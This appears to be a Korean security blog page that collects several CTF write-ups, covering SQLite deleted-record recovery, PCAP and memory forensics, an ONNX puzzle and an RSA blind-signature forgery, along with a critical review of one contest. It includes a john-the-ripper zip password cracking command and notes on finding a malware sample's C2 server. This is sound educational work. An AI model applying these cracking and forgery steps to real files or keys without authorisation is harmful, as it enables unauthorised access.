    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
}

변수명이 난독화되어 있어서 알아보기 어려우므로 ChatGPT를 사용하여 난독화를 풀어주었다.

난독화가 해제된 코드는 다음과 같다:

# 환경 변수에서 값을 가져옴
$getEnvVar = "`Get"

# 데이터 바이트 배열 생성
$bytes = "Bytes"

# 긴 문자열을 다 합친 후 결과값을 저장
$combinedData = ($getEnvVar + $bytes)

# 환경 변수 'heheFlag' 확인
if (Test-Path Env:\heheFlag) {
    Write-Host "Yep!"
} else {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

# 환경 변수 heheFlag 값을 가져옴
$envVarValue = [System.Environment]::GetEnvironmentVariable("heheFlag").Trim()

# 값이 없거나 길이가 6이 아닐 경우 실패 처리
if (-not $envVarValue) {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

if ($envVarValue.Length -ne 6) {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

# 문자에 허용되지 않는 패턴이 있을 경우 실패 처리
foreach ($char in $envVarValue.ToCharArray()) {
    if ($char -notmatch '[0-9a-f]') {
        $failFilePath = Join-Path $env:temp 'Fail.txt'
        "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
        exit
    }
}

# 해시 값을 구하는 과정
$predefinedString = "fOR_be@UTy_1s_fOUnd_W17H1n_$envVarValue"
$md5 = [System.Security.Cryptography.MD5]::Create()
$bytesArray = [System.Text.Encoding]::UTF8.GetBytes($predefinedString)
$hashValue = $md5.ComputeHash($bytesArray)
$calculatedHash = [BitConverter]::ToString($hashValue) -replace '-', ''

# 예상된 해시 값과 비교
$expectedHash = "7d1c84eb2741e0e036040d4f183b16f4"

if ($calculatedHash -eq $expectedHash) {
    # 성공시 Success.txt 생성
    $successFilePath = Join-Path $env:temp 'Success.txt'
    "Success" | Out-File -FilePath $successFilePath -Encoding ascii
} else {
    # 실패시 Fail.txt 생성
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
}

위에서 $calculatedHash -eq $expectedHash를 만족하게 하는 predefinedString의 값이 플래그이다.

$envVarValue.Length -ne 6를 통해 expectedHash의 길이가 6임을 알 수 있으므로 Brute Force를 이용하면 플래그를 알아낼 수 있다.

플래그를 알아내는 파이썬 코드는 다음과 같다:

import hashlib
import itertools

# 주어진 조건에 맞는 해시값을 찾기 위한 변수
expected_hash = "7d1c84eb2741e0e036040d4f183b16f4"
predefined_format = "fOR_be@UTy_1s_fOUnd_W17H1n_{}"

# 16진수 허용 문자
allowed_chars = "0123456789abcdef"

# 해시값을 계산하는 함수
def calculate_hash(value):
    predefined_string = predefined_format.format(value)
    md5_hash = hashlib.md5(predefined_string.encode('utf-8')).hexdigest()
    return md5_hash

# 가능한 모든 6자리 조합을 생성하여 해시를 확인
for candidate in itertools.product(allowed_chars, repeat=6):
    env_var_value = ''.join(candidate)
    if calculate_hash(env_var_value) == expected_hash:
        result = env_var_value
        break

print(result) # fOR_be@UTy_1s_fOUnd_W17H1n_1af5c0

FIESTA{fOR_be@UTy_1s_fOUnd_W17H1n_1af5c0}

반응형
반응형
스마트 가로등을 관리하는 PC가 공격을 당한 후, 특정 권역에 존재하는 여러 스마트 가로등의 신고 사진을 수집하는 IoT 장치의 DB가 변조 되었다는 신고를 받았다. 변조된 DB 파일에서 아래의 정보를 찾아라.

1. 공격자가 은닉한 범죄를 신고한 시간(YYYY-MM-DD HH:MM:SS UTC+0)
2. 공격자가 삭제한 데이터에서 복구한 파일의 MD5 Hash값(소문자)
3. 공격자가 삭제한 데이터에서 찾아볼 수 있는 문자열

FLAG Format : md5(YYYY-MM-DD HH:MM:SS_복구한이미지의MD5해시값_획득한 문자열)

 

sqlite3 db 파일이 주어진다.

cctv 사진이 담겨있다.

HxD로 열어서 Username을 검색하다 보면

Sharon이라는 DB Browser에서 확인할 수 없었던 이름이 보인다.

이어서 Sharon을 검색해보면 추가적인 데이터들을 더 확인할 수 있다.

삭제된 데이터는 Username=Sharon인 데이터임으로 보여지며, offset을 이용해서 Timestamp와 DOB, Location 값을 뽑아낼 수 있지만, 더 편한 방법도 있다.

 

sqlite는 page 단위로 데이터가 저장되는데, 이 page들을 bring2lite 도구를 사용하여 파싱할 수 있다.

https://github.com/bring2lite/bring2lite

 

GitHub - bring2lite/bring2lite

Contribute to bring2lite/bring2lite development by creating an account on GitHub.

github.com

파싱된 페이지들 중에서 291번을 보면, 삭제된 데이터인 Sharon에 대한 데이터를 확인할 수 있다.

여기서 공격자가 은닉한 범죄를 신고한 시간을 확인할 수 있다.

1489711150 (unix time) = GMT: 2017년 March 17일 Friday AM 12:39:10

 

하지만 이미지 데이터는 확인할 수 없다. 이미지 데이터가 크기 때문에 한 페이지 안에 다 안들어간다.

그래서 leaf 구조로 연결되어 있는데, 이 삭제되어서 free된 page들을 찾아 연결해주어야 전체 데이터를 복구할 수 있다.

 

sqlite page를 볼 수 있는 방법은 sqlite page explorer라는 툴을 사용하는 것이다.

https://github.com/siara-cc/sqlite3_page_explorer

 

GitHub - siara-cc/sqlite3_page_explorer: Cross Platform app to explore internal organisation of tables and indices

Cross Platform app to explore internal organisation of tables and indices - GitHub - siara-cc/sqlite3_page_explorer: Cross Platform app to explore internal organisation of tables and indices

github.com

 

앞서 Sharon에 대한 데이터가 291번 페이지부터 시작하는 것을 알고 있으므로, Open Page에 291을 입력해준다.

오른쪽으로 스크롤 쭉 가면 Overflow칸에 Page 266 버튼이 있다.

266페이지는 first freelist trunk page다.

291 -> 266 ~ 291 페이지까지 순서대로 데이터를 연결하면 된다.

그런데 주의할 점은 각 페이지의 첫 4바이트가 다음 페이지 번호를 나타내기 때문에 해당 4바이트는 빼야 한다.

JPG 파일이므로 ff d9 시그니쳐가 나타날 때까지 데이터를 붙여주면 된다.

266번 페이지도 free 되기 전에는 데이터가 가득 차있었을 페이지인데, first freelist trunk page가 되면서 free된 페이지들의 번호로 덮여쓰여졌다.

똑같이 앞 4바이트를 제외하는 것은 똑같은데 그 외에 덮어쓰여진 데이터는 복구가 불가능하다.

복구된 이미지

c839abe2c76449d472fb8a74e777b38b

 

2017-03-17 00:39:10_c839abe2c76449d472fb8a74e777b38b_d313t3_cr1m3_3v1d3Nc3

반응형

'CTF Write Up' 카테고리의 다른 글

금융보안원 FIESTA 2024 Write up  (2) 2024.11.24
Codegate2023 quals [n³]  (0) 2023.06.26
2023 핵테온 세종 본선 문제 리뷰  (0) 2023.05.12
PwnMe CTF 2023 Write up  (0) 2023.05.06
제8회 BoB 정보보안 CTF(BISC)  (5) 2022.09.09
반응형

이번 코드게이트 대학부 예선에는 아주대학교 Whois 팀으로 참가했다.

우리 학교의 기말고사 기간이 다른 학교들 보다 조금 늦은 편이라 대회 일정이 시험기간 중간에 끼어버렸다.

시험기간 중에 대회에 참여하다 보니 참여 인원이 적었고, 대부분 온라인으로/극소수의 인원만 오프라인으로 모여 참여하였다.

동아리 지원금으로 큰 공간을 대여해서 팀원들과 밥도 같이 먹으면서 대회하고 싶었는데 아쉬웠다.

 

 


대회 중에 내가 계속 붙잡고 있었던 misc 카테고리의 n3 문제의 공개된 write-up들을 보면서 풀어본 풀이를 작성해 보았다. 

onnx 파일이 주어지는데, onnx 파일은 하나의 딥러닝 모델이다.

https://netron.app/ 에서 시각적으로 구조를 볼 수 있다.

 

input이 1*3*48*768로 설정되어 있는데, 이것은 768 * 48 크기의 하나의 RGB 이미지를 의미한다.

 

다음 If_0_then_branch

각 Conv 레이어는 최대 가중치 1*3*48*256 = 36864를 가진다.

첫번째 Conv 레이어의 Weight는 모두 1로 채워져 있다. 그러나 두번쨰 Conv 레이어의 Weight는 0과 1의 조합으로 채워져 있다.

less than 300  AND less than 32500 AND greater than 32300 조건에 따라서 합은 32400정도가 되어야 하며, 해당 값에 근접할만한 레이어는 두번째 Conv 레이어다. 해당 텐서  값을 다운받아서 시각화할 수 있다.

 

from PIL import Image
import numpy as np

t1 = np.load("t1.npy")
t1_img = (t1 * 255).astype(np.int8).squeeze(0).transpose(1, 2, 0)
Image.fromarray(t1_img, "RGB").save("t1.png")

 

플래그 한 조각을 얻었으므로 다음 If_0_then_branch__If_0_then_branch으로 넘어간다.

(((Input * 255) + Add tensor weight) * 137) %257 (A-A//257*257 나머지 계산임) -> concat(axis = 1) -> conv

 

conv의 텐서를 보면

[

[[[1]],[[0]],[[0]],[[-1]],[[0]],[[0]]],

[[[0]],[[1]],[[0]],[[0]],[[-1]],[[0]]],

[[[0]],[[0]],[[1]],[[0]],[[0]],[[-1]]]

]

첫번째 conv은 채널 0과 3 사이의 차이를 계산

두번째 conv는 채널 1과 4 사이의 차이를 계산

세번째 conv는 채널 2와 5 사이의 차이를 계산

각 차이의 합의 제곱이 작아야 하는데, concat(axis=1)처리된 것에 따라서 채널 0부터2는 concat 레이어의 input값이었고

채널 3부터 5는 concat의 weight 텐서값이었으므로, input값과 concat의 weight 텐서값이 같을 것이라고 보고 최초 input을 찾기 위해 역연산을 진행한다.

A * 137 = C (mod 257) 역원 구하기 -> pow(137,-1,257) => 242

 

from PIL import Image
import numpy as np

tc2 = np.load("tc2.npy")
ta2 = np.load("ta2.npy")

t2 = ((tc2 * 242 - ta2) % 257) / 255
t2_img = (t2 * 255).astype(np.int8).squeeze(0).transpose(1, 2, 0)
Image.fromarray(t2_img, "RGB").save("t2.png")

 

다음 If_0_then_branch__If_0_then_branch__If_0_then_branch

는 다음에 이어서...

https://party4bread.github.io/writeupfyi.html

 

마지막 조각 If_0_then_branch__If_0_then_branch__If_0_then_branch__If_0_then_branch

Input * 2 -1 -분할-> [,,,0:256] * [,,,256:512] * [,,,512:768] * Mul() <= 0

 

반응형
반응형

말 많았던 핵테온 세종

https://www.dailysecu.com/news/articleView.html?idxno=145171 

 

[단독] 핵테온 세종, CCE 문제 그대로 출제해 해킹대회 공정성 훼손...문제 출제 예산 ‘0

세종특별자치시(시장 최민호)가 지난 3월 25일 개최한 ‘2023 핵테온 세종(HackTheon Sejong) 국제 대학생 사이버보안 경진대회’ 예선전 문제가 참가자들 사이에서 CCE 문제를 그대로 베껴 출제했다는

www.dailysecu.com

대회 운영, 문제 퀄리티, 게싱 문제 논란 등 예선이랑 달라진 것이 없다.

참가자 숙소가 카라반인거, 식사 제공, 늦은 대회 안내 등의 문제도 있고

디스코드 채널은 만들고 대회 끝나면 싹 닫아버리고

외국 참가자들도 있는데 본선 일정 중 공지와 qna는 카카오톡 오픈 챗방?

오픈 챗방도 행사 종료됐다며 바로 닫아버렸다.

https://www.boannews.com/media/view.asp?idx=116956 

 

핵테온 세종 2023, 명색이 국제해킹대회인데... 예선 이어 본선도 공정성 ‘논란’

세종시가 주최한 국제 대학생 사이버보안 경진대회 ‘2023 HackTheon Sejong’(핵테온 세종 2023, 이하 핵테온)을 두고 참가자들 사이에서 논란이 확산되고 있다. 예선에서는 지난해 개최된 2022 사이버

www.boannews.com

 

https://www.dailysecu.com/news/articleView.html?idxno=146065 

 

[이슈진단] 상처만 남은 세종시 주최 ‘핵테온 세종 2023’...해커를 대하는 생각부터 바뀌

세종시(시장 최민호)에서 주최한 국제 대학생 사이버보안 경진대회 ‘핵테온 세종 2023(HackTheon Sejong)’ 본선이 지난 5월 11일~12일 정부세종컨벤션센터에서 개최됐다. 데일리시큐는 핵테온 세종 20

www.dailysecu.com


일단 포렌식이랑 Misc 두 문제를 보자.

일단 Misc

문제 설명은 Find a key가 다다.

Travel 파일이 주어지는데, 압축파일이다.

.zip을 붙여서 열어보면 ms office word 파일임을 알 수 있다.

Final 폴더 내의 파일들을 압축을 풀어내고 다시 압축을 해서 .doc로 파일명을 바꾸면 열 수 있다.

 

문서의 내용은 이게 전부다. 글자는 기본 하얀색으로 되어 있어서 빨간색으로 바꾸어주었다.

뒤에 연결된 이미지를 표시할 수 없다는 내용은 해당 이미지가 rId4 -> media/image1.png 를 참조하는데, media/image1.jpg는 있지만 image1.png는 없기 때문이다.

media 폴더에 이미지 파일이 많이 있다.

Sejong Tour Plan!!.png 이미지를 보면 4곳의 스탬프를 모아서 플래그를 찾으라는 것으로 보인다.

binwalk 명령어를 사용해서 Sejong Tour Plan!!.png 이미지에 표시된 이미지에 해당되는 파일 image2.png, image5.jpg, image7.jpg, image9.jpg에서 end시그니쳐 뒤에 붙어있는 다른 이미지 파일을 분리해낼 수 있다.

이를 방법을 통해 Stamp 이미지 4개를 찾을 수 있으며, 각 스탬프 이미지에 문자열이 있는데, 4개를 이어서 base64 디코딩을 하면

you_are_a_white_hacker

가 된다.

 

그리고 깃발 그림이 있는 image12.jpg에서 zip파일을 분리해낼 수 있으며 안에 flag.txt가 있으나 암호가 걸려 있다.

 

그리고 image8.jpg는 실제론 docx 파일이며, 열었을 때 XOR KEY라는 값을 얻을 수 있다.

해당 hex 값을 ascii로 바꾸면

this_is_xor_key_value_

가 된다.

 

value하고 _로 끝나는 걸 봐서는 두개를 합쳐 this_is_xor_key_value_you_are_a_white_hacker 를 만들고 이거랑 xor 할 값을 넣어야 할 거 같은 느낌이 드는데,

XOR_Key 로 준 hex값과 스탬프를 모아서 만든 you_are_a_white_hacker의 hex 값 0x796F755F6172655F615F77686974655F6861636B6572을 서로 xor 해서 나온 결과 값 0xd071c2c3e1b16001930053702111c001e000f1e002d을 10진수로 변환한 값이 zip파일의 패스워드다.

그렇게 zip파일 암호를 풀어서 flag.txt을 얻을 수 있다.

 

일단 플래그를 3~4 등분을 내서 xor을 하고 파일 이곳 저곳에 숨겨 놓는건 예선에서 나왔던 문제랑 다를 게 없다.

그리고 찾아낸 값들은 다 ascii 범위의 값을 주고서는 정작 zip 파일의 패스워드를 구하는 건 ascii 범위를 벗어나는 값.. 최소한 zip 패스워드처럼 생기도록 만들었어야 하는거 아닌가

0xd071c2c3e1b16001930053702111c001e000f1e002d -> ÐqÂÃá±`“Sp!Ààñàd

아니 10진수로 입력해야하는 것에도 아무런 근거가 없다. 정작 XOR_Key 값은 정확하게 Hex 형태로 줬다. 스탬프에는 base64로 주고서는, ascii도 hex도 base64도 아니고 10진수?


다음은 포렌식 문제

문제 설명이 아마 두 명이 서로 비밀 메세지를 교환했다는 거였던걸로 기억하는데

문제 설명만 보고 이번 본선에서도 예선처럼 더러운 패킷 문제를 냈구나라고 생각했었다.

근데 이번엔 rar 파일과 pdf 파일이 주어졌다. (근데 또 문제설명은 문제와 아무런 연관이 없다.)

처음에는 확장자가 없다. 직접 식별해서 붙여줘야 한다.

rar 파일에는 암호가 걸려있다. 그 암호를 se.pdf에서 찾아야 하는 것으로 보여진다.

/JS 에 하나

JS object에서 링크 하나를 얻을 수 있고

Annotation object도 있는데

맨 앞 값 순서대로 문자열을 배치하면 w24<P%96o~?R}_S`T 가 되고, 이를 ROT47을 돌리면 Hack!The@On#N0$1%가 된다.

왜 Annotation에 저런 값이 있는가? -> 그냥 숨겨놓은 위치

왜 ROT47인가? -> 앞에 ROT라고 키워드를 줬으니까..? "그냥"

그리고 압축을 푼 파일에 또 확장자 없는 파일이 하나 있는데 오디오 파일이다.

해당 파일의 오디오 스펙트럼에서 hex 값을 확인할 수 있다.

Sonic Visualiser

해당 hex값과 처음 JS object에서 얻은 링크에 있는 이미지 속의 25와 xor을 하면 플래그가 나온다.

아, 10진수 25가 아니라 16진수 0x25다. 왜? -> "그냥"

뜬금없이 JS에 이런 링크가 있는 것도 의문이었는데, 저 이미지 속에 25를 찾아서 xor을 해야 하고 xor 할때 0x25로 해야한다니

이게 포렌식인가..

 

반응형

'CTF Write Up' 카테고리의 다른 글

사이버보안챌린지 2023 문제풀이 manipulation  (0) 2023.09.20
Codegate2023 quals [n³]  (0) 2023.06.26
PwnMe CTF 2023 Write up  (0) 2023.05.06
제8회 BoB 정보보안 CTF(BISC)  (5) 2022.09.09
San Diego CTF 2022 Forensics write up  (0) 2022.05.09
반응형

롸업 보고 다시 푼 문제 풀이 포함

 

Intro : Knock Knock

Author: Braguette#0169

We have to monitor our network every day to make sure our admins don't help players get out of the game.
We are sending you a suspicious capture. Do your job !

check Host IP : 192.168.157.185

convert pcapng to pcap using editcap

Use NetworkMiner

Private IP network

target IP : 192.168.157.195

something suspicious

7z file manager


Easy : Free flag

Author: Braguette#0169

A few hours after installing the malicious package. We could notice that the traffic became weird again. Thanks to you, we know that our admin would have been compromised, we fear exfiltration! Do your job !

pcap파일이 주어진다.

conversations를 보면, 192.168.157.195:5355 에서 10.100.210.88:7435로 대량의 패킷이 전송되었음을 확인할 수 있다.

해당 패킷들을 보면 TCP Flags 값들이 계속 변화하는 것을 알 수 있다.

문제 이름이 Free Flag 인 것도 TCP flag를 보라는 힌트인 것 같다.

 

해당 FLAG들을 추출하기 위해서 tshark를 사용한다.

tshark -r ez.pcap -Y 'ip.src==192.168.157.195 && tcp.srcport==5355 && ip.dst==10.100.210.88 && tcp.dstport==7435' -T fields -e tcp.flags | cut -c 5-| xxd -r -p > a.7z

앞에 두 바이트만 지워주면 7z파일이 된다.

 


Medium : Silver

Author: Mr.NOODLE#9112

Hey,

I received a flash drive in my mailbox. It appears that the person who sent me the package was aware that I was using Linux. However, the flash drive self-destructed before I was able to make an image of it. To get the flag, you have to go to the showcase site of the c2 in question.

This is real malware, so be careful when running it, use a vm for malware analysis

Checksum Sha256 of usb_drive.img : 8947e34165792040d86915aea29df01f5e65f49ccfd624032522720ffb87c379

.firefox.elf가 악성파일로 의심된다. (추출해내면 Windows Defender가 탐지해낸다.)

해당 악성 파일을 IDA로 까보면 복잡하게 생겼다. 해당 파일을 리버싱하라고 준 건 아닐거고 C2 서버만 알아내면 되기 때문에, 가상 머신에서 해당 악성프로그램을 실행해서 패킷만 따내면 된다.

하지만 더 편한 바이러스토탈을 사용했다.

 

해당 ip로 접속하면 플래그가 나온다.


Medium : Compromised

-> hardcore

Author: rayanlecat#2609

Description :
An attacker has successfully compromised your company and more specifically your Active Directory! Your role is to find all the persistence techniques that the attacker has used in order to apply countermeasures.

Format :
The flag should be submitted in the following form: PWNME{persistence1user1-persistence2user2-persistence3user3-persistence4user4}
Where persistence is the name of the technique in lower case and user is the samAccountName of the user impacted in lower case.
The persistence techniques need to be put in chronological order of usage in the Active Directory.

Exemple :
PWNME{scheduletaskjessie_vaughan-createaccountmagdalena_gonzales-goldenticketjordan_gates-adminsdholderjaclyn_huber}

Important :
If you think that you found the right methods of persistence and you have an issue, please open a ticket on Discord so an administrator can validate your entry.

File :
https://drive.google.com/file/d/1tVBP05eKJbR6kswl6k-DeVRQ3x_e4CFk/view?usp=sharing

 

 


Hard : TimmyIsDump

-> medium

Author: Braguette#0169

Our administrator Timmy is a bit of an idiot, but that's why we love him. However, he downloaded a script that did something weird to our Detention user database. Since we know he's not the brightest, we make sure to do regular memory dump. I know you are the best. Get the file

File : https://drive.proton.me/urls/V7EC0VYPKC#XMtRuMT5uYy9

lime 확장자의 메모리 덤프가 주어진다.

lime이 사용된 것으로보아, 리눅스 환경으로 추측된다.

fedora 22.x64 버전이며, 커널 버전은 4.2.6-200이다.

 

환경 구축을 위해서 fedora 22 x64버전의 iso를 다운받아 가상머신에 설치한다.

https://dl.fedoraproject.org/pub/archive/fedora/linux/releases/22/Workstation/x86_64/iso/

 

 sudo dnf install kernel-4.2.6-200.fc22.x86_64.rpm \
    kernel-core-4.2.6-200.fc22.x86_64.rpm \
    kernel-devel-4.2.6-200.fc22.x86_64.rpm \
    kernel-headers-4.2.6-200.fc22.x86_64.rpm \
    kernel-modules-4.2.6-200.fc22.x86_64.rpm \
    kernel-modules-extra-4.2.6-200.fc22.x86_64.rpm \
    kernel-tools-4.2.6-200.fc22.x86_64.rpm \
    kernel-tools-libs-4.2.6-200.fc22.x86_64.rpm \
    kernel-tools-libs-devel-4.2.6-200.fc22.x86_64.rpm

 

이후는 볼라티리티 프로필을 생성해서 볼라티리티로 분석

 

반응형

'CTF Write Up' 카테고리의 다른 글

Codegate2023 quals [n³]  (0) 2023.06.26
2023 핵테온 세종 본선 문제 리뷰  (0) 2023.05.12
제8회 BoB 정보보안 CTF(BISC)  (5) 2022.09.09
San Diego CTF 2022 Forensics write up  (0) 2022.05.09
NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
반응형

(H) video_in_video

jpg 푸터 뒤에 mov 파일이 있다.

mdat 영역 크기가 파일 중간 부분까지만 차지하는데

해당 영역 데이터를 지워줌으로써 뒷 데이터 부분이 실제 mdat영역으로 올라오는데,

이러면 재생은 안되지만

윈도우가 자동으로 썸네일 만들어주면서 해당 영역의 영상을 썸네일로 만들어버린다.

해당 썸네일에서 플래그를 확인할 수 있다.

 

(B) Summer Fan

주어진 apk 파일을 jadx로 연다.

 

쓱 풀면 된다.

반응형

'CTF Write Up' 카테고리의 다른 글

2023 핵테온 세종 본선 문제 리뷰  (0) 2023.05.12
PwnMe CTF 2023 Write up  (0) 2023.05.06
San Diego CTF 2022 Forensics write up  (0) 2022.05.09
NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
RITSEC CTF 2022 Write up  (0) 2022.04.02
반응형

ctfd같은걸 사용하지 않고 디스코드와 디스코드 봇을 사용하여 운영된 신기한 대회였다.

open pcap file with wireshark

search filter "http"

run script

 


주어진 바이너리에서 jpg 이미지들을 뽑아내면 된다

시그니쳐 ffd8로 검색하면 3개가 나오는데, ffd8기준으로 jpg 파일 3개 뽑아내주면 된다.

플래그 일부가 그려진 이미지들을 얻을 수 있으며

플래그들을 합쳐주면 된다.

 

반응형

elf core 파일과 플래그가 암호화된 enc 파일이 주어진다.

core파일을 ida에 올려보면

flag.txt가 압축된 bz2 파일을 password.txt를 패스워드로 사용해서 암호화한것을 유추할 수 있다.

 

그리고 strings에서 password로 보이는 문자열을 찾을 수 있다.

 

이 문제의 카테고리가 포렌식인데, 리버싱에 진심으로 문제를 제작하지 않았을 거 같아서

이런 리버싱처럼 보이는 포렌식 문제에는 xor이 많이 사용된다는 경험을 이용해서

xor을 때려봤다.

bz2의 헤더 시그니쳐와 enc 파일을 xor해봤다.

맞는거 같다.

https://cryptii.com/
https://gchq.github.io/CyberChef/

bz2 압출풀면 flag가 있다.

반응형

'CTF Write Up' 카테고리의 다른 글

PwnMe CTF 2023 Write up  (0) 2023.05.06
제8회 BoB 정보보안 CTF(BISC)  (5) 2022.09.09
NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
RITSEC CTF 2022 Write up  (0) 2022.04.02
LINE CTF 2022 write up  (0) 2022.03.27
반응형

A Wild Ride

 

crack zip pw

$ zip2john gpx.zip > flag.hash

$ john --wordlist=rockyou.txt flag.hash

 

pw is "crackme"

 

load all .gpx files to GPX Viewer

FLAG{gpx_is_cool}

 

 

Peanutbutter

Jelly

2.12GB의 elf 파일이 주어진다. 메모리 덤프 파일이다.

커널 버전은 5.4.0-109-generic

 

반응형

'CTF Write Up' 카테고리의 다른 글

제8회 BoB 정보보안 CTF(BISC)  (5) 2022.09.09
San Diego CTF 2022 Forensics write up  (0) 2022.05.09
RITSEC CTF 2022 Write up  (0) 2022.04.02
LINE CTF 2022 write up  (0) 2022.03.27
UTCTF 2022 Write up  (0) 2022.03.13
반응형

Forensics

 

Bad C2

c2서버랑 통신하는 패킷 주어지는데, /get/secret에 post로 json 보내는 거 있음 간단한 조건 맞춰서 서버에 보내면 플래그 줌


oreo

./Default/Cookies

open with DB browser

base64 decode

 


cyber survey

tcp 패킷들 있는데, 포트스캐닝 마냥 여러 포트들 찌르는데, 열린포트에 6761.. 데이터를 push함. push한 포트 번호 끝 3자리 순서대로 가져오면 됨 (패킷 길이 73만 보면 됨)

length of packet == 73, get port number (last 3 digits)

dec to ascii


Death, Taxes, TCP

tcp패킷들만 있는데, 패킷길이 87짜리들이 데이터 1바이트씩 보냄. 순서대로 가져오면 됨.

 

length of packet == 87, get 1byte data

hex to ascii

반응형

'CTF Write Up' 카테고리의 다른 글

San Diego CTF 2022 Forensics write up  (0) 2022.05.09
NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
LINE CTF 2022 write up  (0) 2022.03.27
UTCTF 2022 Write up  (0) 2022.03.13
Codegate 2021 Quals Write Up  (0) 2022.02.28
반응형

Whois_Ajou 팀으로 참여했다.

Crypto

ss-puzzle

단순 xor 역연산이다. 알고 있는 값들을 토대로 하나씩 xor 역연산 해가면서 찾아나아가면 된다.
참고로 S[0] = "LINECTF{" 임을 알고 있으면 된다.

X Factor


rsa blind signature attack 같은 느낌인데 sign을 해주는 기능을 제공해주지는 않는다.
대신 plain -> signature pair들을 제공해주기 때문에 이 값들을 sign함수 대신 사용하는 느낌으로 가야된다.
0x686178656c696f6e 값의 signature를 구하는 문제이다.

문제 제목이 힌트라고 볼 수 있는데, 각 plain 값들을 소인수분해한다. 이는 factordb 사이트를 이용하면 된다.
a ~ g의 값들을 사용하여 Z를 만들어내려면 ( f * b * g * d * g * d ) / ( c * e * a ) 가 된다.

http://the2702.com/2015/09/07/RSA-Blinding-Attack.html

The 2702 - Computer Security and CTF Writeups

We are given two ports on a server, Sign and Verify. Sign will sign an integer using the RSA signature scheme and Verify asks us to sign an integer providing the the public modulus and exponent. Sign it correctly and the server will give us the flag. The t

the2702.com

http://the2702.com/2015/09/07/RSA-Blinding-Attack.html


plain a ~ g, Z의 signature 값을 Sa ~ Sg, SZ 라고 하면,
위 사진의 식에서
M=Z = ( f * b * g * d * g * d ) / ( c * e * a ) ,
r= Sc * Se * Sa
r^e mod N = c * e * a
이므로 M' = ( f * b * g * d * g * d ) / ( c * e * a ) * (c * e * a) mod N = ( f * b * g * d * g * d )

S' = M'^d mod N = ( f * b * g * d * g * d )^d mod N = ( Sf * Sb * Sg * Sd * Sg * Sd ) mod N

우리가 원하는 S = S'/r mod N = ( ( Sf * Sb * Sg * Sd * Sg * Sd ) / ( Sc * Se * Sa ) ) mod N 이다.

https://ohgym.tistory.com/13, 모듈로 나눗셈 성질

( Sc * Se * Sa ) 의 역원을 구해야 한다.

https://ohgym.tistory.com/13

( Sc * Se * Sa ) 와 N 은 서로소이므로 확장된 유클리드 호제법을 사용하여 역원 x를 구한다.

역원을 얻었다.

S를 연산하고, 검증했다.
클리어.

반응형

'CTF Write Up' 카테고리의 다른 글

NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
RITSEC CTF 2022 Write up  (0) 2022.04.02
UTCTF 2022 Write up  (0) 2022.03.13
Codegate 2021 Quals Write Up  (0) 2022.02.28
ASCTF 2021 문제 풀이 및 출제 후기 - Forensic(5), Misc(1)  (0) 2021.11.24

+ Recent posts